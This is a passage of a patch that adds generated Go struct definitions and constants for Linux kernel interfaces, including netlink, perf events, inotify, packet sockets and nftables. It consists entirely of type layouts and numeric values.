-+ Index int32
-+ Flags uint32
-+ Change uint32
-+}
-+
-+type IfAddrmsg struct {
-+ Family uint8
-+ Prefixlen uint8
-+ Flags uint8
-+ Scope uint8
-+ Index uint32
-+}
-+
-+type IfaCacheinfo struct {
-+ Prefered uint32
-+ Valid uint32
-+ Cstamp uint32
-+ Tstamp uint32
-+}
-+
-+type RtMsg struct {
-+ Family uint8
-+ Dst_len uint8
-+ Src_len uint8
-+ Tos uint8
-+ Table uint8
-+ Protocol uint8
-+ Scope uint8
-+ Type uint8
-+ Flags uint32
-+}
-+
-+type RtNexthop struct {
-+ Len uint16
-+ Flags uint8
-+ Hops uint8
-+ Ifindex int32
-+}
-+
-+type NdUseroptmsg struct {
-+ Family uint8
-+ Pad1 uint8
-+ Opts_len uint16
-+ Ifindex int32
-+ Icmp_type uint8
-+ Icmp_code uint8
-+ Pad2 uint16
-+ Pad3 uint32
-+}
-+
-+type NdMsg struct {
-+ Family uint8
-+ Pad1 uint8
-+ Pad2 uint16
-+ Ifindex int32
-+ State uint16
-+ Flags uint8
-+ Type uint8
-+}
-+
-+const (
-+ SizeofSockFilter = 0x8
-+)
-+
-+type SockFilter struct {
-+ Code uint16
-+ Jt uint8
-+ Jf uint8
-+ K uint32
-+}
-+
-+type SockFprog struct {
-+ Len uint16
-+ Filter *SockFilter
-+}
-+
-+type InotifyEvent struct {
-+ Wd int32
-+ Mask uint32
-+ Cookie uint32
-+ Len uint32
-+}
-+
-+const SizeofInotifyEvent = 0x10
-+
-+type Utsname struct {
-+ Sysname [65]byte
-+ Nodename [65]byte
-+ Release [65]byte
-+ Version [65]byte
-+ Machine [65]byte
-+ Domainname [65]byte
-+}
-+
-+const (
-+ AT_EMPTY_PATH = 0x1000
-+ AT_FDCWD = -0x64
-+ AT_NO_AUTOMOUNT = 0x800
-+ AT_REMOVEDIR = 0x200
-+
-+ AT_STATX_SYNC_AS_STAT = 0x0
-+ AT_STATX_FORCE_SYNC = 0x2000
-+ AT_STATX_DONT_SYNC = 0x4000
-+
-+ AT_SYMLINK_FOLLOW = 0x400
-+ AT_SYMLINK_NOFOLLOW = 0x100
-+
-+ AT_EACCESS = 0x200
-+)
-+
-+type PollFd struct {
-+ Fd int32
-+ Events int16
-+ Revents int16
-+}
-+
-+const (
-+ POLLIN = 0x1
-+ POLLPRI = 0x2
-+ POLLOUT = 0x4
-+ POLLERR = 0x8
-+ POLLHUP = 0x10
-+ POLLNVAL = 0x20
-+)
-+
-+type SignalfdSiginfo struct {
-+ Signo uint32
-+ Errno int32
-+ Code int32
-+ Pid uint32
-+ Uid uint32
-+ Fd int32
-+ Tid uint32
-+ Band uint32
-+ Overrun uint32
-+ Trapno uint32
-+ Status int32
-+ Int int32
-+ Ptr uint64
-+ Utime uint64
-+ Stime uint64
-+ Addr uint64
-+ Addr_lsb uint16
-+ _ uint16
-+ Syscall int32
-+ Call_addr uint64
-+ Arch uint32
-+ _ [28]uint8
-+}
-+
-+const PERF_IOC_FLAG_GROUP = 0x1
-+
-+type Winsize struct {
-+ Row uint16
-+ Col uint16
-+ Xpixel uint16
-+ Ypixel uint16
-+}
-+
-+const (
-+ TASKSTATS_CMD_UNSPEC = 0x0
-+ TASKSTATS_CMD_GET = 0x1
-+ TASKSTATS_CMD_NEW = 0x2
-+ TASKSTATS_TYPE_UNSPEC = 0x0
-+ TASKSTATS_TYPE_PID = 0x1
-+ TASKSTATS_TYPE_TGID = 0x2
-+ TASKSTATS_TYPE_STATS = 0x3
-+ TASKSTATS_TYPE_AGGR_PID = 0x4
-+ TASKSTATS_TYPE_AGGR_TGID = 0x5
-+ TASKSTATS_TYPE_NULL = 0x6
-+ TASKSTATS_CMD_ATTR_UNSPEC = 0x0
-+ TASKSTATS_CMD_ATTR_PID = 0x1
-+ TASKSTATS_CMD_ATTR_TGID = 0x2
-+ TASKSTATS_CMD_ATTR_REGISTER_CPUMASK = 0x3
-+ TASKSTATS_CMD_ATTR_DEREGISTER_CPUMASK = 0x4
-+)
-+
-+type CGroupStats struct {
-+ Sleeping uint64
-+ Running uint64
-+ Stopped uint64
-+ Uninterruptible uint64
-+ Io_wait uint64
-+}
-+
-+const (
-+ CGROUPSTATS_CMD_UNSPEC = 0x3
-+ CGROUPSTATS_CMD_GET = 0x4
-+ CGROUPSTATS_CMD_NEW = 0x5
-+ CGROUPSTATS_TYPE_UNSPEC = 0x0
-+ CGROUPSTATS_TYPE_CGROUP_STATS = 0x1
-+ CGROUPSTATS_CMD_ATTR_UNSPEC = 0x0
-+ CGROUPSTATS_CMD_ATTR_FD = 0x1
-+)
-+
-+type Genlmsghdr struct {
-+ Cmd uint8
-+ Version uint8
-+ Reserved uint16
-+}
-+
-+const (
-+ CTRL_CMD_UNSPEC = 0x0
-+ CTRL_CMD_NEWFAMILY = 0x1
-+ CTRL_CMD_DELFAMILY = 0x2
-+ CTRL_CMD_GETFAMILY = 0x3
-+ CTRL_CMD_NEWOPS = 0x4
-+ CTRL_CMD_DELOPS = 0x5
-+ CTRL_CMD_GETOPS = 0x6
-+ CTRL_CMD_NEWMCAST_GRP = 0x7
-+ CTRL_CMD_DELMCAST_GRP = 0x8
-+ CTRL_CMD_GETMCAST_GRP = 0x9
-+ CTRL_ATTR_UNSPEC = 0x0
-+ CTRL_ATTR_FAMILY_ID = 0x1
-+ CTRL_ATTR_FAMILY_NAME = 0x2
-+ CTRL_ATTR_VERSION = 0x3
-+ CTRL_ATTR_HDRSIZE = 0x4
-+ CTRL_ATTR_MAXATTR = 0x5
-+ CTRL_ATTR_OPS = 0x6
-+ CTRL_ATTR_MCAST_GROUPS = 0x7
-+ CTRL_ATTR_OP_UNSPEC = 0x0
-+ CTRL_ATTR_OP_ID = 0x1
-+ CTRL_ATTR_OP_FLAGS = 0x2
-+ CTRL_ATTR_MCAST_GRP_UNSPEC = 0x0
-+ CTRL_ATTR_MCAST_GRP_NAME = 0x1
-+ CTRL_ATTR_MCAST_GRP_ID = 0x2
-+)
-+
-+const (
-+ _CPU_SETSIZE = 0x400
-+)
-+
-+const (
-+ BDADDR_BREDR = 0x0
-+ BDADDR_LE_PUBLIC = 0x1
-+ BDADDR_LE_RANDOM = 0x2
-+)
-+
-+type PerfEventAttr struct {
-+ Type uint32
-+ Size uint32
-+ Config uint64
-+ Sample uint64
-+ Sample_type uint64
-+ Read_format uint64
-+ Bits uint64
-+ Wakeup uint32
-+ Bp_type uint32
-+ Ext1 uint64
-+ Ext2 uint64
-+ Branch_sample_type uint64
-+ Sample_regs_user uint64
-+ Sample_stack_user uint32
-+ Clockid int32
-+ Sample_regs_intr uint64
-+ Aux_watermark uint32
-+ Sample_max_stack uint16
-+ _ uint16
-+}
-+
-+type PerfEventMmapPage struct {
-+ Version uint32
-+ Compat_version uint32
-+ Lock uint32
-+ Index uint32
-+ Offset int64
-+ Time_enabled uint64
-+ Time_running uint64
-+ Capabilities uint64
-+ Pmc_width uint16
-+ Time_shift uint16
-+ Time_mult uint32
-+ Time_offset uint64
-+ Time_zero uint64
-+ Size uint32
-+ _ [948]uint8
-+ Data_head uint64
-+ Data_tail uint64
-+ Data_offset uint64
-+ Data_size uint64
-+ Aux_head uint64
-+ Aux_tail uint64
-+ Aux_offset uint64
-+ Aux_size uint64
-+}
-+
-+const (
-+ PerfBitDisabled uint64 = CBitFieldMaskBit0
-+ PerfBitInherit = CBitFieldMaskBit1
-+ PerfBitPinned = CBitFieldMaskBit2
-+ PerfBitExclusive = CBitFieldMaskBit3
-+ PerfBitExcludeUser = CBitFieldMaskBit4
-+ PerfBitExcludeKernel = CBitFieldMaskBit5
-+ PerfBitExcludeHv = CBitFieldMaskBit6
-+ PerfBitExcludeIdle = CBitFieldMaskBit7
-+ PerfBitMmap = CBitFieldMaskBit8
-+ PerfBitComm = CBitFieldMaskBit9
-+ PerfBitFreq = CBitFieldMaskBit10
-+ PerfBitInheritStat = CBitFieldMaskBit11
-+ PerfBitEnableOnExec = CBitFieldMaskBit12
-+ PerfBitTask = CBitFieldMaskBit13
-+ PerfBitWatermark = CBitFieldMaskBit14
-+ PerfBitPreciseIPBit1 = CBitFieldMaskBit15
-+ PerfBitPreciseIPBit2 = CBitFieldMaskBit16
-+ PerfBitMmapData = CBitFieldMaskBit17
-+ PerfBitSampleIDAll = CBitFieldMaskBit18
-+ PerfBitExcludeHost = CBitFieldMaskBit19
-+ PerfBitExcludeGuest = CBitFieldMaskBit20
-+ PerfBitExcludeCallchainKernel = CBitFieldMaskBit21
-+ PerfBitExcludeCallchainUser = CBitFieldMaskBit22
-+ PerfBitMmap2 = CBitFieldMaskBit23
-+ PerfBitCommExec = CBitFieldMaskBit24
-+ PerfBitUseClockID = CBitFieldMaskBit25
-+ PerfBitContextSwitch = CBitFieldMaskBit26
-+)
-+
-+const (
-+ PERF_TYPE_HARDWARE = 0x0
-+ PERF_TYPE_SOFTWARE = 0x1
-+ PERF_TYPE_TRACEPOINT = 0x2
-+ PERF_TYPE_HW_CACHE = 0x3
-+ PERF_TYPE_RAW = 0x4
-+ PERF_TYPE_BREAKPOINT = 0x5
-+
-+ PERF_COUNT_HW_CPU_CYCLES = 0x0
-+ PERF_COUNT_HW_INSTRUCTIONS = 0x1
-+ PERF_COUNT_HW_CACHE_REFERENCES = 0x2
-+ PERF_COUNT_HW_CACHE_MISSES = 0x3
-+ PERF_COUNT_HW_BRANCH_INSTRUCTIONS = 0x4
-+ PERF_COUNT_HW_BRANCH_MISSES = 0x5
-+ PERF_COUNT_HW_BUS_CYCLES = 0x6
-+ PERF_COUNT_HW_STALLED_CYCLES_FRONTEND = 0x7
-+ PERF_COUNT_HW_STALLED_CYCLES_BACKEND = 0x8
-+ PERF_COUNT_HW_REF_CPU_CYCLES = 0x9
-+
-+ PERF_COUNT_HW_CACHE_L1D = 0x0
-+ PERF_COUNT_HW_CACHE_L1I = 0x1
-+ PERF_COUNT_HW_CACHE_LL = 0x2
-+ PERF_COUNT_HW_CACHE_DTLB = 0x3
-+ PERF_COUNT_HW_CACHE_ITLB = 0x4
-+ PERF_COUNT_HW_CACHE_BPU = 0x5
-+ PERF_COUNT_HW_CACHE_NODE = 0x6
-+
-+ PERF_COUNT_HW_CACHE_OP_READ = 0x0
-+ PERF_COUNT_HW_CACHE_OP_WRITE = 0x1
-+ PERF_COUNT_HW_CACHE_OP_PREFETCH = 0x2
-+
-+ PERF_COUNT_HW_CACHE_RESULT_ACCESS = 0x0
-+ PERF_COUNT_HW_CACHE_RESULT_MISS = 0x1
-+
-+ PERF_COUNT_SW_CPU_CLOCK = 0x0
-+ PERF_COUNT_SW_TASK_CLOCK = 0x1
-+ PERF_COUNT_SW_PAGE_FAULTS = 0x2
-+ PERF_COUNT_SW_CONTEXT_SWITCHES = 0x3
-+ PERF_COUNT_SW_CPU_MIGRATIONS = 0x4
-+ PERF_COUNT_SW_PAGE_FAULTS_MIN = 0x5
-+ PERF_COUNT_SW_PAGE_FAULTS_MAJ = 0x6
-+ PERF_COUNT_SW_ALIGNMENT_FAULTS = 0x7
-+ PERF_COUNT_SW_EMULATION_FAULTS = 0x8
-+ PERF_COUNT_SW_DUMMY = 0x9
-+ PERF_COUNT_SW_BPF_OUTPUT = 0xa
-+
-+ PERF_SAMPLE_IP = 0x1
-+ PERF_SAMPLE_TID = 0x2
-+ PERF_SAMPLE_TIME = 0x4
-+ PERF_SAMPLE_ADDR = 0x8
-+ PERF_SAMPLE_READ = 0x10
-+ PERF_SAMPLE_CALLCHAIN = 0x20
-+ PERF_SAMPLE_ID = 0x40
-+ PERF_SAMPLE_CPU = 0x80
-+ PERF_SAMPLE_PERIOD = 0x100
-+ PERF_SAMPLE_STREAM_ID = 0x200
-+ PERF_SAMPLE_RAW = 0x400
-+ PERF_SAMPLE_BRANCH_STACK = 0x800
-+
-+ PERF_SAMPLE_BRANCH_USER = 0x1
-+ PERF_SAMPLE_BRANCH_KERNEL = 0x2
-+ PERF_SAMPLE_BRANCH_HV = 0x4
-+ PERF_SAMPLE_BRANCH_ANY = 0x8
-+ PERF_SAMPLE_BRANCH_ANY_CALL = 0x10
-+ PERF_SAMPLE_BRANCH_ANY_RETURN = 0x20
-+ PERF_SAMPLE_BRANCH_IND_CALL = 0x40
-+ PERF_SAMPLE_BRANCH_ABORT_TX = 0x80
-+ PERF_SAMPLE_BRANCH_IN_TX = 0x100
-+ PERF_SAMPLE_BRANCH_NO_TX = 0x200
-+ PERF_SAMPLE_BRANCH_COND = 0x400
-+ PERF_SAMPLE_BRANCH_CALL_STACK = 0x800
-+ PERF_SAMPLE_BRANCH_IND_JUMP = 0x1000
-+ PERF_SAMPLE_BRANCH_CALL = 0x2000
-+ PERF_SAMPLE_BRANCH_NO_FLAGS = 0x4000
-+ PERF_SAMPLE_BRANCH_NO_CYCLES = 0x8000
-+ PERF_SAMPLE_BRANCH_TYPE_SAVE = 0x10000
-+
-+ PERF_FORMAT_TOTAL_TIME_ENABLED = 0x1
-+ PERF_FORMAT_TOTAL_TIME_RUNNING = 0x2
-+ PERF_FORMAT_ID = 0x4
-+ PERF_FORMAT_GROUP = 0x8
-+
-+ PERF_RECORD_MMAP = 0x1
-+ PERF_RECORD_LOST = 0x2
-+ PERF_RECORD_COMM = 0x3
-+ PERF_RECORD_EXIT = 0x4
-+ PERF_RECORD_THROTTLE = 0x5
-+ PERF_RECORD_UNTHROTTLE = 0x6
-+ PERF_RECORD_FORK = 0x7
-+ PERF_RECORD_READ = 0x8
-+ PERF_RECORD_SAMPLE = 0x9
-+ PERF_RECORD_MMAP2 = 0xa
-+ PERF_RECORD_AUX = 0xb
-+ PERF_RECORD_ITRACE_START = 0xc
-+ PERF_RECORD_LOST_SAMPLES = 0xd
-+ PERF_RECORD_SWITCH = 0xe
-+ PERF_RECORD_SWITCH_CPU_WIDE = 0xf
-+ PERF_RECORD_NAMESPACES = 0x10
-+
-+ PERF_CONTEXT_HV = -0x20
-+ PERF_CONTEXT_KERNEL = -0x80
-+ PERF_CONTEXT_USER = -0x200
-+
-+ PERF_CONTEXT_GUEST = -0x800
-+ PERF_CONTEXT_GUEST_KERNEL = -0x880
-+ PERF_CONTEXT_GUEST_USER = -0xa00
-+
-+ PERF_FLAG_FD_NO_GROUP = 0x1
-+ PERF_FLAG_FD_OUTPUT = 0x2
-+ PERF_FLAG_PID_CGROUP = 0x4
-+ PERF_FLAG_FD_CLOEXEC = 0x8
-+)
-+
-+type TCPMD5Sig struct {
-+ Addr SockaddrStorage
-+ Flags uint8
-+ Prefixlen uint8
-+ Keylen uint16
-+ _ uint32
-+ Key [80]uint8
-+}
-+
-+type HDDriveCmdHdr struct {
-+ Command uint8
-+ Number uint8
-+ Feature uint8
-+ Count uint8
-+}
-+
-+type HDDriveID struct {
-+ Config uint16
-+ Cyls uint16
-+ Reserved2 uint16
-+ Heads uint16
-+ Track_bytes uint16
-+ Sector_bytes uint16
-+ Sectors uint16
-+ Vendor0 uint16
-+ Vendor1 uint16
-+ Vendor2 uint16
-+ Serial_no [20]uint8
-+ Buf_type uint16
-+ Buf_size uint16
-+ Ecc_bytes uint16
-+ Fw_rev [8]uint8
-+ Model [40]uint8
-+ Max_multsect uint8
-+ Vendor3 uint8
-+ Dword_io uint16
-+ Vendor4 uint8
-+ Capability uint8
-+ Reserved50 uint16
-+ Vendor5 uint8
-+ TPIO uint8
-+ Vendor6 uint8
-+ TDMA uint8
-+ Field_valid uint16
-+ Cur_cyls uint16
-+ Cur_heads uint16
-+ Cur_sectors uint16
-+ Cur_capacity0 uint16
-+ Cur_capacity1 uint16
-+ Multsect uint8
-+ Multsect_valid uint8
-+ Lba_capacity uint32
-+ Dma_1word uint16
-+ Dma_mword uint16
-+ Eide_pio_modes uint16
-+ Eide_dma_min uint16
-+ Eide_dma_time uint16
-+ Eide_pio uint16
-+ Eide_pio_iordy uint16
-+ Words69_70 [2]uint16
-+ Words71_74 [4]uint16
-+ Queue_depth uint16
-+ Words76_79 [4]uint16
-+ Major_rev_num uint16
-+ Minor_rev_num uint16
-+ Command_set_1 uint16
-+ Command_set_2 uint16
-+ Cfsse uint16
-+ Cfs_enable_1 uint16
-+ Cfs_enable_2 uint16
-+ Csf_default uint16
-+ Dma_ultra uint16
-+ Trseuc uint16
-+ TrsEuc uint16
-+ CurAPMvalues uint16
-+ Mprc uint16
-+ Hw_config uint16
-+ Acoustic uint16
-+ Msrqs uint16
-+ Sxfert uint16
-+ Sal uint16
-+ Spg uint32
-+ Lba_capacity_2 uint64
-+ Words104_125 [22]uint16
-+ Last_lun uint16
-+ Word127 uint16
-+ Dlf uint16
-+ Csfo uint16
-+ Words130_155 [26]uint16
-+ Word156 uint16
-+ Words157_159 [3]uint16
-+ Cfa_power uint16
-+ Words161_175 [15]uint16
-+ Words176_205 [30]uint16
-+ Words206_254 [49]uint16
-+ Integrity_word uint16
-+}
-+
-+const (
-+ ST_MANDLOCK = 0x40
-+ ST_NOATIME = 0x400
-+ ST_NODEV = 0x4
-+ ST_NODIRATIME = 0x800
-+ ST_NOEXEC = 0x8
-+ ST_NOSUID = 0x2
-+ ST_RDONLY = 0x1
-+ ST_RELATIME = 0x1000
-+ ST_SYNCHRONOUS = 0x10
-+)
-+
-+type Tpacket2Hdr struct {
-+ Status uint32
-+ Len uint32
-+ Snaplen uint32
-+ Mac uint16
-+ Net uint16
-+ Sec uint32
-+ Nsec uint32
-+ Vlan_tci uint16
-+ Vlan_tpid uint16
-+ _ [4]uint8
-+}
-+
-+type Tpacket3Hdr struct {
-+ Next_offset uint32
-+ Sec uint32
-+ Nsec uint32
-+ Snaplen uint32
-+ Len uint32
-+ Status uint32
-+ Mac uint16
-+ Net uint16
-+ Hv1 TpacketHdrVariant1
-+ _ [8]uint8
-+}
-+
-+type TpacketHdrVariant1 struct {
-+ Rxhash uint32
-+ Vlan_tci uint32
-+ Vlan_tpid uint16
-+ _ uint16
-+}
-+
-+type TpacketBlockDesc struct {
-+ Version uint32
-+ To_priv uint32
-+ Hdr [40]byte
-+}
-+
-+type TpacketBDTS struct {
-+ Sec uint32
-+ Usec uint32
-+}
-+
-+type TpacketHdrV1 struct {
-+ Block_status uint32
-+ Num_pkts uint32
-+ Offset_to_first_pkt uint32
-+ Blk_len uint32
-+ Seq_num uint64
-+ Ts_first_pkt TpacketBDTS
-+ Ts_last_pkt TpacketBDTS
-+}
-+
-+type TpacketReq struct {
-+ Block_size uint32
-+ Block_nr uint32
-+ Frame_size uint32
-+ Frame_nr uint32
-+}
-+
-+type TpacketReq3 struct {
-+ Block_size uint32
-+ Block_nr uint32
-+ Frame_size uint32
-+ Frame_nr uint32
-+ Retire_blk_tov uint32
-+ Sizeof_priv uint32
-+ Feature_req_word uint32
-+}
-+
-+type TpacketStats struct {
-+ Packets uint32
-+ Drops uint32
-+}
-+
-+type TpacketStatsV3 struct {
-+ Packets uint32
-+ Drops uint32
-+ Freeze_q_cnt uint32
-+}
-+
-+type TpacketAuxdata struct {
-+ Status uint32
-+ Len uint32
-+ Snaplen uint32
-+ Mac uint16
-+ Net uint16
-+ Vlan_tci uint16
-+ Vlan_tpid uint16
-+}
-+
-+const (
-+ TPACKET_V1 = 0x0
-+ TPACKET_V2 = 0x1
-+ TPACKET_V3 = 0x2
-+)
-+
-+const (
-+ SizeofTpacket2Hdr = 0x20
-+ SizeofTpacket3Hdr = 0x30
-+
-+ SizeofTpacketStats = 0x8
-+ SizeofTpacketStatsV3 = 0xc
-+)
-+
-+const (
-+ NF_INET_PRE_ROUTING = 0x0
-+ NF_INET_LOCAL_IN = 0x1
-+ NF_INET_FORWARD = 0x2
-+ NF_INET_LOCAL_OUT = 0x3
-+ NF_INET_POST_ROUTING = 0x4
-+ NF_INET_NUMHOOKS = 0x5
-+)
-+
-+const (
-+ NF_NETDEV_INGRESS = 0x0
-+ NF_NETDEV_NUMHOOKS = 0x1
-+)
-+
-+const (
-+ NFPROTO_UNSPEC = 0x0
-+ NFPROTO_INET = 0x1
-+ NFPROTO_IPV4 = 0x2
-+ NFPROTO_ARP = 0x3
-+ NFPROTO_NETDEV = 0x5
-+ NFPROTO_BRIDGE = 0x7
-+ NFPROTO_IPV6 = 0xa
-+ NFPROTO_DECNET = 0xc
-+ NFPROTO_NUMPROTO = 0xd
-+)
-+
-+type Nfgenmsg struct {
-+ Nfgen_family uint8
-+ Version uint8
-+ Res_id uint16
-+}
-+
-+const (
-+ NFNL_BATCH_UNSPEC = 0x0
-+ NFNL_BATCH_GENID = 0x1
-+)
-+
-+const (
-+ NFT_REG_VERDICT = 0x0
-+ NFT_REG_1 = 0x1
-+ NFT_REG_2 = 0x2
-+ NFT_REG_3 = 0x3
-+ NFT_REG_4 = 0x4
-+ NFT_REG32_00 = 0x8
-+ NFT_REG32_01 = 0x9
-+ NFT_REG32_02 = 0xa
-+ NFT_REG32_03 = 0xb
-+ NFT_REG32_04 = 0xc
-+ NFT_REG32_05 = 0xd
-+ NFT_REG32_06 = 0xe
-+ NFT_REG32_07 = 0xf
-+ NFT_REG32_08 = 0x10
-+ NFT_REG32_09 = 0x11
-+ NFT_REG32_10 = 0x12
-+ NFT_REG32_11 = 0x13
-+ NFT_REG32_12 = 0x14
-+ NFT_REG32_13 = 0x15
-+ NFT_REG32_14 = 0x16
-+ NFT_REG32_15 = 0x17
-+ NFT_CONTINUE = -0x1
-+ NFT_BREAK = -0x2
-+ NFT_JUMP = -0x3
-+ NFT_GOTO = -0x4
-+ NFT_RETURN = -0x5
-+ NFT_MSG_NEWTABLE = 0x0
-+ NFT_MSG_GETTABLE = 0x1
-+ NFT_MSG_DELTABLE = 0x2
-+ NFT_MSG_NEWCHAIN = 0x3
-+ NFT_MSG_GETCHAIN = 0x4
-+ NFT_MSG_DELCHAIN = 0x5
-+ NFT_MSG_NEWRULE = 0x6
-+ NFT_MSG_GETRULE = 0x7
-+ NFT_MSG_DELRULE = 0x8
-+ NFT_MSG_NEWSET = 0x9
-+ NFT_MSG_GETSET = 0xa
-+ NFT_MSG_DELSET = 0xb
-+ NFT_MSG_NEWSETELEM = 0xc
-+ NFT_MSG_GETSETELEM = 0xd
-+ NFT_MSG_DELSETELEM = 0xe
-+ NFT_MSG_NEWGEN = 0xf
-+ NFT_MSG_GETGEN = 0x10
-+ NFT_MSG_TRACE = 0x11
-+ NFT_MSG_NEWOBJ = 0x12
-+ NFT_MSG_GETOBJ = 0x13
-+ NFT_MSG_DELOBJ = 0x14
-+ NFT_MSG_GETOBJ_RESET = 0x15
-+ NFT_MSG_MAX = 0x19
-+ NFTA_LIST_UNPEC = 0x0
-+ NFTA_LIST_ELEM = 0x1
-+ NFTA_HOOK_UNSPEC = 0x0
-+ NFTA_HOOK_HOOKNUM = 0x1
-+ NFTA_HOOK_PRIORITY = 0x2
-+ NFTA_HOOK_DEV = 0x3
-+ NFT_TABLE_F_DORMANT = 0x1
-+ NFTA_TABLE_UNSPEC = 0x0
-+ NFTA_TABLE_NAME = 0x1
-+ NFTA_TABLE_FLAGS = 0x2
-+ NFTA_TABLE_USE = 0x3
-+ NFTA_CHAIN_UNSPEC = 0x0
-+ NFTA_CHAIN_TABLE = 0x1
-+ NFTA_CHAIN_HANDLE = 0x2
-+ NFTA_CHAIN_NAME = 0x3
-+ NFTA_CHAIN_HOOK = 0x4
-+ NFTA_CHAIN_POLICY = 0x5
-+ NFTA_CHAIN_USE = 0x6
-+ NFTA_CHAIN_TYPE = 0x7
-+ NFTA_CHAIN_COUNTERS = 0x8
-+ NFTA_CHAIN_PAD = 0x9
-+ NFTA_RULE_UNSPEC = 0x0
-+ NFTA_RULE_TABLE = 0x1
-+ NFTA_RULE_CHAIN = 0x2
-+ NFTA_RULE_HANDLE = 0x3
-+ NFTA_RULE_EXPRESSIONS = 0x4
-+ NFTA_RULE_COMPAT = 0x5
-+ NFTA_RULE_POSITION = 0x6
-+ NFTA_RULE_USERDATA = 0x7
-+ NFTA_RULE_PAD = 0x8
-+ NFTA_RULE_ID = 0x9
-+ NFT_RULE_COMPAT_F_INV = 0x2
-+ NFT_RULE_COMPAT_F_MASK = 0x2
-+ NFTA_RULE_COMPAT_UNSPEC = 0x0
-+ NFTA_RULE_COMPAT_PROTO = 0x1
-+ NFTA_RULE_COMPAT_FLAGS = 0x2
-+ NFT_SET_ANONYMOUS = 0x1
-+ NFT_SET_CONSTANT = 0x2
-+ NFT_SET_INTERVAL = 0x4
-+ NFT_SET_MAP = 0x8
-+ NFT_SET_TIMEOUT = 0x10
-+ NFT_SET_EVAL = 0x20
-+ NFT_SET_OBJECT = 0x40
-+ NFT_SET_POL_PERFORMANCE = 0x0
-+ NFT_SET_POL_MEMORY = 0x1
-+ NFTA_SET_DESC_UNSPEC = 0x0
-+ NFTA_SET_DESC_SIZE = 0x1
-+ NFTA_SET_UNSPEC = 0x0
-+ NFTA_SET_TABLE = 0x1
-+ NFTA_SET_NAME = 0x2
-+ NFTA_SET_FLAGS = 0x3
-+ NFTA_SET_KEY_TYPE = 0x4
-+ NFTA_SET_KEY_LEN = 0x5
-+ NFTA_SET_DATA_TYPE = 0x6
-+ NFTA_SET_DATA_LEN = 0x7
-+ NFTA_SET_POLICY = 0x8
-+ NFTA_SET_DESC = 0x9
-+ NFTA_SET_ID = 0xa
-+ NFTA_SET_TIMEOUT = 0xb
-+ NFTA_SET_GC_INTERVAL = 0xc
-+ NFTA_SET_USERDATA = 0xd
-+ NFTA_SET_PAD = 0xe
-+ NFTA_SET_OBJ_TYPE = 0xf
-+ NFT_SET_ELEM_INTERVAL_END = 0x1
-+ NFTA_SET_ELEM_UNSPEC = 0x0
-+ NFTA_SET_ELEM_KEY = 0x1
-+ NFTA_SET_ELEM_DATA = 0x2
-+ NFTA_SET_ELEM_FLAGS = 0x3
-+ NFTA_SET_ELEM_TIMEOUT = 0x4
-+ NFTA_SET_ELEM_EXPIRATION = 0x5
-+ NFTA_SET_ELEM_USERDATA = 0x6
-+ NFTA_SET_ELEM_EXPR = 0x7
-+ NFTA_SET_ELEM_PAD = 0x8
-+ NFTA_SET_ELEM_OBJREF = 0x9
-+ NFTA_SET_ELEM_LIST_UNSPEC = 0x0
-+ NFTA_SET_ELEM_LIST_TABLE = 0x1
-+ NFTA_SET_ELEM_LIST_SET = 0x2
-+ NFTA_SET_ELEM_LIST_ELEMENTS = 0x3
-+ NFTA_SET_ELEM_LIST_SET_ID = 0x4
-+ NFT_DATA_VALUE = 0x0
-+ NFT_DATA_VERDICT = 0xffffff00
-+ NFTA_DATA_UNSPEC = 0x0
-+ NFTA_DATA_VALUE = 0x1
-+ NFTA_DATA_VERDICT = 0x2
-+ NFTA_VERDICT_UNSPEC = 0x0
-+ NFTA_VERDICT_CODE = 0x1
-+ NFTA_VERDICT_CHAIN = 0x2
-+ NFTA_EXPR_UNSPEC = 0x0
-+ NFTA_EXPR_NAME = 0x1
-+ NFTA_EXPR_DATA = 0x2
-+ NFTA_IMMEDIATE_UNSPEC = 0x0
-+ NFTA_IMMEDIATE_DREG = 0x1
-+ NFTA_IMMEDIATE_DATA = 0x2
-+ NFTA_BITWISE_UNSPEC = 0x0
-+ NFTA_BITWISE_SREG = 0x1
-+ NFTA_BITWISE_DREG = 0x2
-+ NFTA_BITWISE_LEN = 0x3
-+ NFTA_BITWISE_MASK = 0x4
-+ NFTA_BITWISE_XOR = 0x5
-+ NFT_BYTEORDER_NTOH = 0x0
-+ NFT_BYTEORDER_HTON = 0x1
-+ NFTA_BYTEORDER_UNSPEC = 0x0
-+ NFTA_BYTEORDER_SREG = 0x1
-+ NFTA_BYTEORDER_DREG = 0x2
-+ NFTA_BYTEORDER_OP = 0x3
-+ NFTA_BYTEORDER_LEN = 0x4
-+ NFTA_BYTEORDER_SIZE = 0x5
-+ NFT_CMP_EQ = 0x0
-+ NFT_CMP_NEQ = 0x1
-+ NFT_CMP_LT = 0x2
-+ NFT_CMP_LTE = 0x3
-+ NFT_CMP_GT = 0x4
-+ NFT_CMP_GTE = 0x5
-+ NFTA_CMP_UNSPEC = 0x0
-+ NFTA_CMP_SREG = 0x1
-+ NFTA_CMP_OP = 0x2
-+ NFTA_CMP_DATA = 0x3
-+ NFT_RANGE_EQ = 0x0
-+ NFT_RANGE_NEQ = 0x1
-+ NFTA_RANGE_UNSPEC = 0x0
-+ NFTA_RANGE_SREG = 0x1
-+ NFTA_RANGE_OP = 0x2
-+ NFTA_RANGE_FROM_DATA = 0x3
-+ NFTA_RANGE_TO_DATA = 0x4
-+ NFT_LOOKUP_F_INV = 0x1
-+ NFTA_LOOKUP_UNSPEC = 0x0
-+ NFTA_LOOKUP_SET = 0x1
-+ NFTA_LOOKUP_SREG = 0x2
-+ NFTA_LOOKUP_DREG = 0x3
-+ NFTA_LOOKUP_SET_ID = 0x4
-+ NFTA_LOOKUP_FLAGS = 0x5
-+ NFT_DYNSET_OP_ADD = 0x0
-+ NFT_DYNSET_OP_UPDATE = 0x1
-+ NFT_DYNSET_F_INV = 0x1
-+ NFTA_DYNSET_UNSPEC = 0x0
-+ NFTA_DYNSET_SET_NAME = 0x1
-+ NFTA_DYNSET_SET_ID = 0x2
-+ NFTA_DYNSET_OP = 0x3
-+ NFTA_DYNSET_SREG_KEY = 0x4
-+ NFTA_DYNSET_SREG_DATA = 0x5
-+ NFTA_DYNSET_TIMEOUT = 0x6
-+ NFTA_DYNSET_EXPR = 0x7
-+ NFTA_DYNSET_PAD = 0x8
-+ NFTA_DYNSET_FLAGS = 0x9
-+ NFT_PAYLOAD_LL_HEADER = 0x0
-+ NFT_PAYLOAD_NETWORK_HEADER = 0x1
-+ NFT_PAYLOAD_TRANSPORT_HEADER = 0x2
-+ NFT_PAYLOAD_CSUM_NONE = 0x0
-+ NFT_PAYLOAD_CSUM_INET = 0x1
